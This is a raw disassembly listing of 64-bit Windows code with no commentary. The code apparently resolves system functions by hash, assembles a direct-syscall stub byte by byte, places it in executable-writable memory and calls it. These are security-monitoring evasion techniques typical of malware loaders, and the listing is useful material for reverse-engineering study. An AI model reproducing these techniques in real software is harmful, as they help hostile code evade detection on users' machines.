mov dword [rsp + 0x2bb0], 0x3f
mov dword [rsp + 0x2bac], 0x10
mov dword [rsp + 0x2ba8], 0
mov dword [rsp + 0x2ba4], 0
mov dword [rsp + 0x2ba0], 0xf
mov dword [rsp + 0x2b9c], 5
mov dword [rsp + 0x2b98], 0xc3
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2b9c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2ba0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2ba4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2bb4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2bbc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2bc0]
lea r8, [rsp + 0x2bc4]
lea rdx, [rsp + 0x2bc8]
mov rcx, qword [rsp + 0xafd8]
call fcn.14008f900
mov byte [rsp + 0x3d8], 1
mov byte [rsp + 0x3d9], 0
movsxd rax, dword [rsp + 0x2bcc]
mov qword [rsp + 0xb150], rax
mov byte [rsp + 0x3da], 0
mov byte [rsp + 0x3db], 0
mov rax, qword [rsp + 0xafe0]
mov qword [rsp + 0xb158], rax
mov byte [rsp + 0x3dc], 0
mov byte [rsp + 0x3dd], 1
mov rax, qword [rsp + 0xafe8]
mov qword [rsp + 0xb160], rax
mov byte [rsp + 0x3de], 0
mov byte [rsp + 0x3df], 0
mov rax, qword [rsp + 0xaff0]
mov qword [rsp + 0xb168], rax
mov byte [rsp + 0x3e0], 0
mov byte [rsp + 0x3e1], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xb170], rax
mov byte [rsp + 0x3e2], 0
mov byte [rsp + 0x3e3], 0
mov rax, qword [rsp + 0xaff8]
mov qword [rsp + 0xb178], rax
mov byte [rsp + 0x3e4], 0
mov byte [rsp + 0x3e5], 0
mov rax, qword [rsp + 0xb000]
mov qword [rsp + 0xb180], rax
mov byte [rsp + 0x3e6], 0
mov byte [rsp + 0x3e7], 0
mov rax, qword [rsp + 0xb008]
mov qword [rsp + 0xb188], rax
mov byte [rsp + 0x3e8], 0
mov byte [rsp + 0x3e9], 0
mov rax, qword [rsp + 0xb010]
mov qword [rsp + 0xb190], rax
mov byte [rsp + 0x3ea], 0
mov byte [rsp + 0x3eb], 0
mov rax, qword [rsp + 0xb018]
mov qword [rsp + 0xb198], rax
mov eax, dword [rsp + 0x6708]
mov dword [rsp + 0x2bd0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xff80]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb020], rax
lea r8, [rsp + 0x2bd0]
lea rdx, [rsp + 0x60e0]
mov rcx, qword [rsp + 0xb020]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb028], rax
lea rdx, [rsp + 0x116f8]
mov rcx, qword [rsp + 0xb028]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x60e0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140146729
mov qword [rsp + 0x4658], 0
jmp 0x140146742
lea rcx, [rsp + 0x60e0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x4658], rax
mov rax, qword [rsp + 0x4658]
mov qword [rsp + 0xb030], rax
lea rcx, [rsp + 0xff80]
call fcn.1400a0f10
mov rax, qword [rsp + 0xb030]
mov qword [rsp + 0x4660], rax
cmp qword [rsp + 0x4660], 0
je 0x14014679f
mov rax, qword [rsp + 0x4660]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2bd8], eax
mov eax, dword [rsp + 0x2bd8]
mov dword [rsp + 0x670c], eax
jmp 0x14014722d
lea rax, [rsp + 0x6fa4]
mov qword [rsp + 0xb038], rax
xor edx, edx
mov rcx, qword [rsp + 0xb038]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2bdc], eax
lea rax, [rsp + 0x6fa8]
mov qword [rsp + 0xb040], rax
mov edx, dword [rsp + 0x6708]
mov rcx, qword [rsp + 0xb040]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2be0], eax
mov eax, dword [rsp + 0x2bdc]
mov dword [rsp + 0xd10], eax
mov eax, dword [rsp + 0x2be0]
mov dword [rsp + 0xd28], eax
xor edx, edx
lea rcx, [rsp + 0x2be4]
call fcn.14009b2f0
lea rdx, [rsp + 0x2be4]
lea rcx, [rsp + 0xd28]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14014684c
mov qword [rsp + 0x1478], 0
jmp 0x14014714b
mov byte [rsp + 0x3ec], 1
mov qword [rsp + 0x6a60], 0
mov qword [rsp + 0x6a68], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4088], rax
mov eax, 1
test eax, eax
je 0x14014689e
mov rax, qword [rsp + 0x4088]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x4668], rax
jmp 0x1401468b1
mov rax, qword [rsp + 0x4088]
mov rax, qword [rax]
mov qword [rsp + 0x4668], rax
mov rax, qword [rsp + 0x4668]
mov qword [rsp + 0x6a60], rax
mov rax, qword [rsp + 0x4088]
mov qword [rsp + 0x6a68], rax
lea rax, [rsp + 0x6a60]
mov qword [rsp + 0x4670], rax
lea rdx, [rsp + 0x1470]
mov rcx, qword [rsp + 0x4670]
call fcn.14018efb0
lea rdx, [rsp + 0xb048]
mov rcx, qword [rsp + 0x4670]
call fcn.140190a30
jmp 0x140146920
mov rax, qword [rsp + 0x1470]
mov rax, qword [rax]
mov qword [rsp + 0x1470], rax
mov rax, qword [rsp + 0xb048]
cmp qword [rsp + 0x1470], rax
je 0x14014693f
mov dword [rsp + 0xd0c], 1
jmp 0x14014694a
mov dword [rsp + 0xd0c], 0
movzx eax, byte [rsp + 0xd0c]
test eax, eax
je 0x14014713f
xor edx, edx
mov rcx, qword [rsp + 0x1470]
call fcn.140096d90
mov qword [rsp + 0xb050], rax
lea rax, [rsp + 0xb050]
mov qword [rsp + 0x4678], rax
xor edx, edx
lea rcx, [rsp + 0x2be8]
call fcn.14009b2f0
lea rdx, [rsp + 0x2be8]
lea rcx, [rsp + 0xd10]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140146bea
mov rax, qword [rsp + 0x4678]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xb058], rax
lea rdx, [rsp + 0x12a28]
mov rcx, qword [rsp + 0xb058]
call fcn.14019acf0
lea rcx, [rsp + 0xff90]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xd10]
mov dword [rsp + 0x2bec], eax
lea rax, [rsp + 0xd390]
lea rcx, [rsp + 0xff90]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2bec]
mov dword [rsp + 0xd18], eax
lea rax, [rsp + 0x2bf0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2bf0]
call fcn.14009b310
mov qword [rsp + 0xb060], rax
lea rax, [rsp + 0xffa0]
lea rcx, [rsp + 0xd390]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xffb0]
lea rcx, [rsp + 0xffa0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xffb0]
mov rcx, qword [rsp + 0xb060]
call fcn.140097890
mov dword [rsp + 0x2bf8], eax
lea rcx, [rsp + 0xd390]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xb068], rax
mov r9, qword [rsp + 0xb068]
xor r8d, r8d
lea rdx, [rsp + 0xffc0]
lea rcx, [rsp + 0xd390]
call fcn.14019ab70
lea rax, [rsp + 0x2bf4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2bf4]
call fcn.14009b310
mov qword [rsp + 0xb070], rax
lea rax, [rsp + 0xffd0]
lea rcx, [rsp + 0xffc0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xffe0]
lea rcx, [rsp + 0xffd0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xffe0]
mov rcx, qword [rsp + 0xb070]
call fcn.140097890
mov dword [rsp + 0x2c00], eax
mov edx, dword [rsp + 0x2bf8]
lea rcx, [rsp + 0x2bfc]
call fcn.14009b2f0
lea rdx, [rsp + 0x2bfc]
lea rcx, [rsp + 0xd18]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140146bce
mov edx, dword [rsp + 0x2c00]
lea rcx, [rsp + 0x2c04]
call fcn.14009b2f0
lea rdx, [rsp + 0x2c04]
lea rcx, [rsp + 0xd18]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140146bce
mov dword [rsp + 0xd20], 1
jmp 0x140146bd9
mov dword [rsp + 0xd20], 0
movzx eax, byte [rsp + 0xd20]
test eax, eax
je 0x140146bea
jmp 0x14014690d
mov rax, qword [rsp + 0x4678]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4680], rax
mov rax, qword [rsp + 0x4680]
mov qword [rsp + 0x4548], rax
mov rax, qword [rsp + 0x4680]
mov qword [rsp + 0xb078], rax
mov rax, qword [rsp + 0xb078]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb080], rax
mov rax, qword [rsp + 0xb080]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xb088], rax
mov eax, dword [rsp + 0xb088]
add rax, qword [rsp + 0x4548]
mov qword [rsp + 0xb090], rax
mov rax, qword [rsp + 0xb090]
mov qword [rsp + 0x4550], rax
lea rdx, [rsp + 0xd28]
lea rcx, [rsp + 0x6fac]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11f20]
lea rcx, [rsp + 0x4548]
call fcn.140097040
lea rdx, [rsp + 0x13a88]
lea rcx, [rsp + 0x4548]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11f20]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140146cd6
jmp 0x14014690d
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140146d59
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11f30]
mov qword [rsp + 0x4688], rax
mov rcx, qword [rsp + 0x4688]
call fcn.140097960
mov qword [rsp + 0x11700], rax
mov rcx, qword [rsp + 0x4688]
call fcn.140097950
mov qword [rsp + 0x4098], rax
mov rax, qword [rsp + 0x4098]
mov rax, qword [rax]
mov qword [rsp + 0x46a0], rax
mov rax, qword [rsp + 0x4548]
mov qword [rsp + 0xb098], rax
mov rax, qword [rsp + 0xb098]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb0a0], rax
mov rax, qword [rsp + 0xb0a0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4690], rax
mov eax, dword [rsp + 0x4690]
add rax, qword [rsp + 0x4548]
mov qword [rsp + 0x4698], rax
mov eax, dword [rsp + 0x4694]
mov rcx, qword [rsp + 0x4698]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0a8], rax
mov rax, qword [rsp + 0x4698]
cmp qword [rsp + 0x46a0], rax
jb 0x140146e4b
mov rax, qword [rsp + 0xb0a8]
cmp qword [rsp + 0x46a0], rax
jae 0x140146e4b
mov dword [rsp + 0xd30], 1
jmp 0x140146e56
mov dword [rsp + 0xd30], 0
movzx eax, byte [rsp + 0xd30]
mov byte [rsp + 0xfb], al
movzx eax, byte [rsp + 0xfb]
test eax, eax
je 0x140147125
mov rax, qword [rsp + 0x4098]
mov rax, qword [rax]
mov qword [rsp + 0xb0b0], rax
mov rax, qword [rsp + 0xb0b0]
mov qword [rsp + 0xb0b8], rax
lea rax, [rsp + 0x12a38]
mov qword [rsp + 0xb0c0], rax
mov rdx, qword [rsp + 0xb0b8]
mov rcx, qword [rsp + 0xb0c0]
call fcn.140095590
lea rcx, [rsp + 0x6a70]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6a70]
call fcn.140191090
mov qword [rsp + 0x4090], rax
cmp qword [rsp + 0x4090], 0xffffffffffffffff
je 0x140146f60
mov r9, qword [rsp + 0x4090]
xor r8d, r8d
lea rdx, [rsp + 0x10000]
lea rcx, [rsp + 0x6a70]
call fcn.14019aaa0
mov rax, qword [rsp + 0x4090]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xfff0]
lea rcx, [rsp + 0x6a70]
call fcn.14019aaa0
lea r8, [rsp + 0xfff0]
lea rdx, [rsp + 0x10000]
lea rcx, [rsp + 0x11350]
call fcn.14008f7e0
jmp 0x140146f9b
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0xb0c8], rax
lea rcx, [rsp + 0x10010]
call fcn.140099fb0
lea r8, [rsp + 0x10010]
mov rdx, qword [rsp + 0xb0c8]
lea rcx, [rsp + 0x11350]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11350]
call fcn.140097960
mov qword [rsp + 0xb0d0], rax
lea rcx, [rsp + 0x11350]
call fcn.140097950
mov qword [rsp + 0xb0e8], rax
lea rax, [rsp + 0x6fb0]
mov qword [rsp + 0xb0e0], rax
lea rax, [rsp + 0x2c08]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2c08]
call fcn.14009b310
mov qword [rsp + 0xb0d8], rax
lea rax, [rsp + 0x10020]
mov rdi, rax
mov rsi, qword [rsp + 0xb0d0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10030]
lea rcx, [rsp + 0x10020]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10030]
mov rcx, qword [rsp + 0xb0d8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xb0e0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2c10], eax
lea rax, [rsp + 0x6fb4]
mov qword [rsp + 0xb0f8], rax
lea rax, [rsp + 0x2c0c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2c0c]
call fcn.14009b310
mov qword [rsp + 0xb0f0], rax
lea rax, [rsp + 0x10040]
mov rdi, rax
mov rsi, qword [rsp + 0xb0e8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10050]
lea rcx, [rsp + 0x10040]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10050]
mov rcx, qword [rsp + 0xb0f0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0xb0f8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2c14], eax
mov r8d, dword [rsp + 0x2c10]
mov edx, dword [rsp + 0x2c14]
lea rcx, [rsp + 0x40a0]
call fcn.140191150
mov qword [rsp + 0x1478], rax
jmp 0x14014714b
mov rax, qword [rsp + 0x4098]
mov rax, qword [rax]
mov qword [rsp + 0x1478], rax
jmp 0x14014714b
mov qword [rsp + 0x1478], 0
mov rax, qword [rsp + 0x1478]
mov qword [rsp + 0x40a0], rax
lea rcx, [rsp + 0x40a0]
call fcn.1400a2c10
mov qword [rsp + 0xb100], rax
mov eax, dword [rsp + 0x6708]
mov dword [rsp + 0x2c18], eax
mov rax, qword [rsp + 0xb100]
mov qword [rsp + 0xb108], rax
mov eax, dword [rsp + 0x2c18]
mov dword [rsp + 0x2c20], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10060]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb110], rax
lea r9, [rsp + 0xb108]
lea r8, [rsp + 0x2c20]
lea rdx, [rsp + 0x12a48]
mov rcx, qword [rsp + 0xb110]
call fcn.140098320
lea rcx, [rsp + 0x10060]
call fcn.1400a0f80
lea rcx, [rsp + 0x40a0]
call fcn.1400a2c10
mov qword [rsp + 0xb118], rax
mov rax, qword [rsp + 0xb118]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2c28], eax
mov eax, dword [rsp + 0x2c28]
mov dword [rsp + 0x670c], eax
lea rax, [rsp + 0x6710]
mov qword [rsp + 0xb120], rax
mov eax, dword [rsp + 0x670c]
mov dword [rsp + 0x2c30], eax
mov rax, qword [rsp + 0xb120]
add rax, 0x11
mov qword [rsp + 0xb128], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xb128]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2c30]
mov dword [rax], ecx
lea rax, [rsp + 0x6710]
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x688]
add rax, 0x10
mov qword [rsp + 0x11708], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xb130], rax
mov qword [rsp + 0x46a8], 0
mov qword [rsp + 0xb138], 0xd
mov rax, qword [rsp + 0xb130]
mov qword [rsp + 0xb140], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xb138]
xor r8d, r8d
lea rdx, [rsp + 0x46a8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xb140]
mov dword [rsp + 0x2c38], eax
cmp dword [rsp + 0x2c38], 0
jl 0x14014732f
mov rax, qword [rsp + 0x46a8]
mov qword [rsp + 0x46b0], rax
jmp 0x14014733b
mov qword [rsp + 0x46b0], 0
mov rax, qword [rsp + 0x46b0]
mov qword [rsp + 0xb148], rax
mov rax, qword [rsp + 0x688]
mov rcx, qword [rsp + 0xb148]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x688]
cmp qword [rax + 8], 0
jne 0x140147370
jmp 0x1401473b4
mov rax, qword [rsp + 0x688]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x688]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x688]
mov rcx, qword [rsp + 0x688]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6710]
mov qword [rsp + 0xb1a0], rax
mov rax, qword [rsp + 0xb150]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb158]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb160]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb168]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xb170]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb178]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb180]
mov r8, qword [rsp + 0xb188]
mov rdx, qword [rsp + 0xb190]
mov rcx, qword [rsp + 0xb198]
call qword [rsp + 0xb1a0]
mov dword [rsp + 0x2c3c], eax
lea rcx, [rsp + 0x6708]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2c3c]
mov dword [rsp + 0x2c40], eax
cmp dword [rsp + 0x2c40], 0
jge 0x14014746f
mov byte [rsp + 0x91], 0
jmp 0x140147477
mov byte [rsp + 0x91], 1
mov rax, qword [rsp + 0xb1a8]
cmp qword [rsp + 0x46b8], rax
jne 0x140148686
mov rax, qword [rsp + 0x730]
inc rax
mov qword [rsp + 0xb1b0], rax
lea rax, [rsp + 0xb1b0]
mov qword [rsp + 0x46c0], rax
mov eax, dword [rsp + 0x160]
shl eax, 3
cdqe
mov rcx, qword [rsp + 0x1480]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x46c8], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb1b8], rax
mov rax, qword [rsp + 0xb1b8]
mov qword [rsp + 0xb200], rax
cmp qword [rsp + 0x46c8], 0
je 0x140147510
cmp qword [rsp + 0x46c0], 0
je 0x140147510
xor eax, eax
cmp rax, 8
jne 0x14014751d
mov byte [rsp + 0x92], 0
jmp 0x14014867c
lea rax, [rsp + 0xda98]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xda98], 0x33
mov rax, qword [rsp + 0x46c0]
mov qword [rsp + 0xdaa8], rax
mov rax, qword [rsp + 0x46c8]
mov qword [rsp + 0xdab0], rax
mov qword [rsp + 0xdab8], 8
mov dword [rsp + 0x2c84], 0
mov qword [rsp + 0xb1c8], 0
mov qword [rsp + 0xb1d0], 0x28
lea rax, [rsp + 0xda98]
mov qword [rsp + 0xb1d8], rax
lea rax, [rsp + 0x12a58]
mov qword [rsp + 0xb1e0], rax
mov qword [rsp + 0xb1e8], 0
mov qword [rsp + 0xb1f0], 0
mov qword [rsp + 0xb1f8], 0
mov dword [rsp + 0x2c44], 0x9363e455
mov eax, dword [rsp + 0x2c44]
mov dword [rsp + 0x2c48], eax
lea rcx, [rsp + 0x2c48]
call fcn.1400a2c20
mov dword [rsp + 0x6730], eax
mov dword [rsp + 0x6734], 0
lea rax, [rsp + 0x6738]
mov qword [rsp + 0xb1c0], rax
mov dword [rsp + 0x2c80], 0x49
mov dword [rsp + 0x2c7c], 0x89
mov dword [rsp + 0x2c78], 0xca
mov dword [rsp + 0x2c74], 0x48
mov dword [rsp + 0x2c70], 0xc7
mov dword [rsp + 0x2c6c], 0xc0
mov dword [rsp + 0x2c68], 0x3f
mov dword [rsp + 0x2c64], 0x10
mov dword [rsp + 0x2c60], 0
mov dword [rsp + 0x2c5c], 0
mov dword [rsp + 0x2c58], 0xf
mov dword [rsp + 0x2c54], 5
mov dword [rsp + 0x2c50], 0xc3
lea rax, [rsp + 0x2c50]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2c54]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2c5c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2c60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2c64]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2c68]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2c6c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2c70]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2c74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2c78]
lea r8, [rsp + 0x2c7c]
lea rdx, [rsp + 0x2c80]
mov rcx, qword [rsp + 0xb1c0]
call fcn.14008f900
mov byte [rsp + 0x3ed], 1
mov byte [rsp + 0x3ee], 0
movsxd rax, dword [rsp + 0x2c84]
mov qword [rsp + 0xb338], rax
mov byte [rsp + 0x3ef], 0
mov byte [rsp + 0x3f0], 0
mov rax, qword [rsp + 0xb1c8]
mov qword [rsp + 0xb340], rax
mov byte [rsp + 0x3f1], 0
mov byte [rsp + 0x3f2], 1
mov rax, qword [rsp + 0xb1d0]
mov qword [rsp + 0xb348], rax
mov byte [rsp + 0x3f3], 0
mov byte [rsp + 0x3f4], 0
mov rax, qword [rsp + 0xb1d8]
mov qword [rsp + 0xb350], rax
mov byte [rsp + 0x3f5], 0
mov byte [rsp + 0x3f6], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xb358], rax
mov byte [rsp + 0x3f7], 0
mov byte [rsp + 0x3f8], 0
mov rax, qword [rsp + 0xb1e0]
mov qword [rsp + 0xb360], rax
mov byte [rsp + 0x3f9], 0
mov byte [rsp + 0x3fa], 0
mov rax, qword [rsp + 0xb1e8]
mov qword [rsp + 0xb368], rax
mov byte [rsp + 0x3fb], 0
mov byte [rsp + 0x3fc], 0
mov rax, qword [rsp + 0xb1f0]
mov qword [rsp + 0xb370], rax
mov byte [rsp + 0x3fd], 0
mov byte [rsp + 0x3fe], 0
mov rax, qword [rsp + 0xb1f8]
mov qword [rsp + 0xb378], rax
mov byte [rsp + 0x3ff], 0
mov byte [rsp + 0x400], 0
mov rax, qword [rsp + 0xb200]
mov qword [rsp + 0xb380], rax
mov eax, dword [rsp + 0x6730]
mov dword [rsp + 0x2c88], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10070]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb208], rax
lea r8, [rsp + 0x2c88]
lea rdx, [rsp + 0x46d0]
mov rcx, qword [rsp + 0xb208]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb210], rax
lea rdx, [rsp + 0x11710]
mov rcx, qword [rsp + 0xb210]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x46d0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14014792e
mov qword [rsp + 0x46d8], 0
jmp 0x140147947
lea rcx, [rsp + 0x46d0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x46d8], rax
mov rax, qword [rsp + 0x46d8]
mov qword [rsp + 0xb218], rax
lea rcx, [rsp + 0x10070]
call fcn.1400a0f10
mov rax, qword [rsp + 0xb218]
mov qword [rsp + 0x46e0], rax
cmp qword [rsp + 0x46e0], 0
je 0x1401479a4
mov rax, qword [rsp + 0x46e0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2c90], eax
mov eax, dword [rsp + 0x2c90]
mov dword [rsp + 0x6734], eax
jmp 0x140148432
lea rax, [rsp + 0x6fb8]
mov qword [rsp + 0xb220], rax
xor edx, edx
mov rcx, qword [rsp + 0xb220]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2c94], eax
lea rax, [rsp + 0x6fbc]
mov qword [rsp + 0xb228], rax
mov edx, dword [rsp + 0x6730]
mov rcx, qword [rsp + 0xb228]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2c98], eax
mov eax, dword [rsp + 0x2c94]
mov dword [rsp + 0xd38], eax
mov eax, dword [rsp + 0x2c98]
mov dword [rsp + 0xd50], eax
xor edx, edx
lea rcx, [rsp + 0x2c9c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2c9c]
lea rcx, [rsp + 0xd50]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140147a51
mov qword [rsp + 0x1490], 0
jmp 0x140148350
mov byte [rsp + 0x401], 1
mov qword [rsp + 0x6a80], 0
mov qword [rsp + 0x6a88], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x40a8], rax
mov eax, 1
test eax, eax
je 0x140147aa3
mov rax, qword [rsp + 0x40a8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x46e8], rax
jmp 0x140147ab6
mov rax, qword [rsp + 0x40a8]
mov rax, qword [rax]
mov qword [rsp + 0x46e8], rax
mov rax, qword [rsp + 0x46e8]
mov qword [rsp + 0x6a80], rax
mov rax, qword [rsp + 0x40a8]
mov qword [rsp + 0x6a88], rax
lea rax, [rsp + 0x6a80]
mov qword [rsp + 0x46f0], rax
lea rdx, [rsp + 0x1488]
mov rcx, qword [rsp + 0x46f0]
call fcn.14018efb0
lea rdx, [rsp + 0xb230]
mov rcx, qword [rsp + 0x46f0]
call fcn.140190a30
jmp 0x140147b25
mov rax, qword [rsp + 0x1488]
mov rax, qword [rax]
mov qword [rsp + 0x1488], rax
mov rax, qword [rsp + 0xb230]
cmp qword [rsp + 0x1488], rax
je 0x140147b44
mov dword [rsp + 0xd34], 1
jmp 0x140147b4f
mov dword [rsp + 0xd34], 0
movzx eax, byte [rsp + 0xd34]
test eax, eax
je 0x140148344
xor edx, edx
mov rcx, qword [rsp + 0x1488]
call fcn.140096d90
mov qword [rsp + 0xb238], rax
lea rax, [rsp + 0xb238]
mov qword [rsp + 0x46f8], rax
xor edx, edx
lea rcx, [rsp + 0x2ca0]
call fcn.14009b2f0
